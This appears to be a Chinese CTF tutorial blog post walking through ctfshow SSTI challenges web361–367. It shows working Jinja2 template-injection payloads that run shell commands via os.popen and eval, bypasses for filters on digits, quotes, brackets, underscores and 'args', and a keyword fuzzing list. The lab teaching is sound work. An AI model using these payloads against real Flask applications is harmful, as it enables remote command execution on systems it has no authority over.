ctfshowweb入门 SSTI模板注入专题保姆级教程(一)

前言:本来这篇是不打算写的,自己稍微记录一下就行了,但是我发现后面的题难度也挺大的,而且好多更细的不记录后面也容易忘记,并且网上很多师傅讲的直接是payload(我还是太菜了看不懂),有很多都是我没见到过的,因此这里综合记录一下(其实最重要的是在这里写的能保存成pdf)同时也是对自己找的资料进行一个汇总

web361

这里我之前详细讲过了就不再赘述,ctfshowweb361--一道题从0入门SSTI模板注入,这里面也是直接从0基础讲起,如果还是有不懂的网上再找点资料看看【我最后也放了参考】,后续题目都是在这基础上进行的,熟悉了361的方法之后才能继续做后面题目。

web362

按照之前的方法进行尝试,发现过滤了除1和7以外的数字,而我们要找的是132,因此这里可以采用全角符号绕过【具体怎么开问下AI就行,因为我用的是Windows自带的,在设置里面进行设置,然后可能有的人用了其他输入法之类的,所以这里就不上图了】

实在找不到的话我直接打在下面:

1234567890 (全角 可以对比半角:1234567890)

然后就是输入我们的payload:

python 复制代码
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

或者可以不输入数字,之前在361中我们用到了config:

python 复制代码
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

然后我在网上找别的师傅的wp时看到了另一种:

python 复制代码
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

x	                                        任意存在的变量(可能是未定义的,触发错误时暴露信息)
.__init__	                                    获取变量x的初始化方法
.__globals__	                                获取该方法所在的全局命名空间
['__builtins__']	                            从全局空间中取出内置函数模块
.eval()	                                        调用eval函数执行代码
'__import__("os").popen("cat /flag").read()'	要执行的Python代码

它比传统的 ''.__class__.__bases__[0].__subclasses__() 更简洁,而且可能绕过一些针对特定类名的过滤,但是当x不存在(未定义)时,会返回空或者报错,这时候还可以用的方法为用确实存在的方法替换x:

python 复制代码
?name={{ lipsum.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}   # 生成lorem ipsum文本的函数(模板全局变量,几乎一定有,并且最稳定)

?name={{ url_for.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}  #URL生成函数(Flask特有的上下文变量)

?name={{ get_flashed_messages.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}  # flash消息函数 Flask特有的上下文变量

?name={{ self.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}

那这些就跟之前的config差不多了。

web363

这里测试了一下过滤了单双引号,而这个可以用request绕过【允许我们把字符串从模板内部"移"到URL参数中,从而避免在模板代码里直接使用引号】

属性 作用 绕过场景
request.args GET请求参数 args被过滤时可用values
request.values GET和POST所有参数 最常用,替代args
request.cookies Cookie中的值 当参数也被过滤时
request.headers HTTP头 终极备选
request.form POST表单数据 需要POST请求

这里选一个就行,但是要注意不同属性后面参数放的位置:

python 复制代码
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}
&a=os
&b=cat /flag

也可以构造空字符串:

web364

这里过滤了args和引号

python 复制代码
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat /flag

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

然后这里其实还可以用chr函数来做,但有点麻烦,所以放到后面再讲。

web365

一个个尝试的话其实过滤多了就有点麻烦,所以这里找AI要个字典fuzz一波:

python 复制代码
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
①
②
③
④
⑤
⑥
⑦
⑧
⑨
0
1
2
3
4
5
6
7
8
9
'
"
+
%2B
%2b
/
//
\\
\
%0a
%0d
%09
%20
%2f
join()
join
u
os
popen
system
exec
eval
open
read
__import__
importlib
linecache
subprocess
Popen
commands
pty
platform
sys
|attr()
|attr
request
args
value
cookie
headers
environ
session
g
config
app
self
lipsum
cycler
url_for
current_app
get_flashed_messages
__class__
__base__
__bases__
__mro__
__subclasses__
__subclasses__()
__builtins__
__init__
__globals__
__dict__
__dic__
__getattribute__
__getattribute__()
__getitem__
__getitem__()
__str__
__str__()
__call__
__name__
__module__
_wrap_close
catch_warnings
WarningMessage
_Printer

具体怎么fuzz的话就是hackbar里先输入如下,开代理后再execute

然后bp里面发送到intruder,依旧sniper,设个爆破点:

然后长度点一下排个序,发现有几个不一样的,再看看响应就行,那么从这里就看出过滤了中括号,引号和args:

这里就可以使用 __getitem__() 方法

python 复制代码
# 原写法
{{ [].__class__.__bases__[0] }}
#                    ↑中括号

# 绕过写法
{{ [].__class__.__bases__.__getitem__(0) }}
#                    ↑用__getitem__()代替

具体payload如下:

python 复制代码
?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}
&a=os
&b=cat /flag

或者不用中括号:
?name={{x.__init__.__globals__.__builtins__.eval(request.values.cmd)}}
&cmd=__import__('os').popen('cat /f*').read()

web366

fuzz一波发现又增加了对下划线的过滤:

这里用到的是|attr()过滤器

python 复制代码
# 原写法
{{ lipsum.__globals__ }}

# 绕过(直接用字符串,但需要绕过引号)
{{ lipsum|attr('__globals__') }}

# 绕过 + 引号过滤(结合request)
{{ lipsum|attr(request.values.a) }}
&a=__globals__

这里的话因为request要用的比较多,因此可以这么写:

python 复制代码
?name={% set c=request.values %}{{ config|attr(c.a)|attr(c.b)|attr(c.c)|attr(c.d)(c.e)|attr(c.f)(c.g)|attr(c.h)() }}
&a=__class__
&b=__init__
&c=__globals__
&d=__getitem__
&e=os
&f=popen
&g=cat /flag
&h=read

{% set c = request.values %}
# ↑    ↑   ↑
# 标签  变量名  值
{% ... %}:Jinja2的语句标签,用来执行逻辑操作
set:赋值关键字
c:要创建的变量名
request.values:要赋给变量的值

这样可以简化代码

# 不赋值,每次都要写长长一串
?name={{ request.values.a }}{{ request.values.b }}{{ request.values.c }}

# 赋值后,代码简洁多了
?name={% set c=request.values %}{{ c.a }}{{ c.b }}{{ c.c }}

同样这里也可用别的进行简化,流程图如下:

从lipsum出发(最短)

{{ lipsum.globals['os'].popen('cat /flag').read() }}

从url_for出发

{{ url_for.globals['os'].popen('cat /flag').read() }}

从config出发(需要多走两步)

{{ config.class.init.globals['os'].popen('cat /flag').read() }}

从request出发

{{ request.class.init.globals['os'].popen('cat /flag').read() }}

因此这里我们可以用最短的lipsum出发,但是构造的时候直接硬写有点懵,还是换成一步步来:

第 1 步:|attr() 代替 .

python 复制代码
lipsum|attr('__globals__')  这里的globals后面转成values

第 2 步:__getitem__() 代替 []

python 复制代码
|attr('__getitem__')('os')  os同样转为values

第 3 步:继续 |attr().popen

python 复制代码
|attr('popen')('cat /flag')

第 4 步:最后 .read() 也是 |attr('read')()

那么我们最终生成这样的:

python 复制代码
{% set c = request.values %}
{{ lipsum
    |attr(c.a)           # __globals__
    |attr(c.b)(c.c)      # __getitem__('os')
    |attr(c.d)(c.e)      # popen('cat /flag')
    |attr(c.f)()         # read()
}}
&a=__globals__
&b=__getitem__
&c=os
&d=popen
&e=cat /flag
&f=read

(也是长开了)

web367

fuzz一下过滤了'' 、""、 [、 args、os、 _,然后这里上一题的也能还能用,然后网上看到别的师傅提到的:

python 复制代码
{{lipsum.__globals.os}}
{{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os  //这个不会执行
{{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os  //这个会执行

第一种写法不会执行,是因为 attr() 返回的是一个对象,我们不能直接用另一个 attr() 去获取这个对象的"键"。
第二种写法会执行,是因为它先用 attr() 拿到了 __globals__ 这个字典,然后显式地用 .get() 方法去取这个字典里的 'os' 键对应的值。

1. 为什么 {``{lipsum|attr(request.values.q)|attr(request.values.o)}} 不工作?

  • lipsum|attr(request.values.q):这部分是正确的,它成功获取了 lipsum.__globals__ 这个字典。

  • |attr(request.values.o):问题出在这里。管道符 | 后面的 attr() 过滤器,它的作用是获取前一个结果对象的"属性"

  • lipsum.__globals__ 是一个字典 。我们想要的是这个字典里键为 'os' (也就是 os 模块)。但 'os' 是字典的 ,不是这个字典对象的属性

    • 属性 是通过点号访问的,比如 __globals__.items(),这里的 items 就是属性。

    • 是通过中括号访问的,比如 __globals__['os']

  • 所以,我们用 attr() 去获取一个名为 'os'属性 ,但这个字典对象并没有一个叫 'os' 的属性,因此它返回 None 或者报错(取决于模板引擎的严格程度)。最终得不到 os 模块。

2. 为什么 {``{(lipsum|attr(request.values.q)).get(request.values.o)}} 会执行?

这行代码巧妙地改变了操作顺序:

  • (lipsum|attr(request.values.q)):括号里的部分优先执行,成功拿到了 __globals__ 这个字典。

  • .get(request.values.o):拿到字典之后,这里使用了 Python 字典的原生方法 .get(key).get()__globals__ 这个字典对象的方法(属性之一) ,专门用来根据键取值。我们把 request.values.o (值是 'os')作为参数传给它,它就能正确地从字典里取出 os 模块。

因此这里可以用的payload为:

python 复制代码
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

后面的涉及的方法比较多样,并且比较复杂(盲注、反弹shell啥的),同时为了在写详细的基础上保持观感,所以就分成两块来写。

相关推荐
麦麦大数据11 小时前
M003_中药可视化系统开发实践:知识图谱与AI智能问答的完美结合
人工智能·flask·llm·vue3·知识图谱·neo4j·ner
сокол18 小时前
【网安-Web渗透测试-漏洞系列】逻辑漏洞(或越权漏洞)
web安全·php
Ha_To21 小时前
2026.2.4 DVWA, Sql-labs,Pikachu靶场搭建
安全·web安全
сокол1 天前
【网安-Web渗透测试-漏洞系列】XXE漏洞
xml·web安全·php
grrrr_11 天前
SHCTF 3rd - [WEB]部分writeup
web安全·网络安全·shctf
m0_738120721 天前
渗透测试——Raven2靶机横向提权详细过程(PHPMailer框架利用,UDF提取)
网络·安全·web安全·ssh
coding随想2 天前
CSP与MIME的双重奏:打造无懈可击的Web安全防线
安全·web安全
瘾大侠2 天前
WingData
网络·安全·web安全·网络安全
AC赳赳老秦2 天前
低代码AI化革命:DeepSeek引领智能开发新纪元
网络·人工智能·安全·web安全·低代码·prometheus·deepseek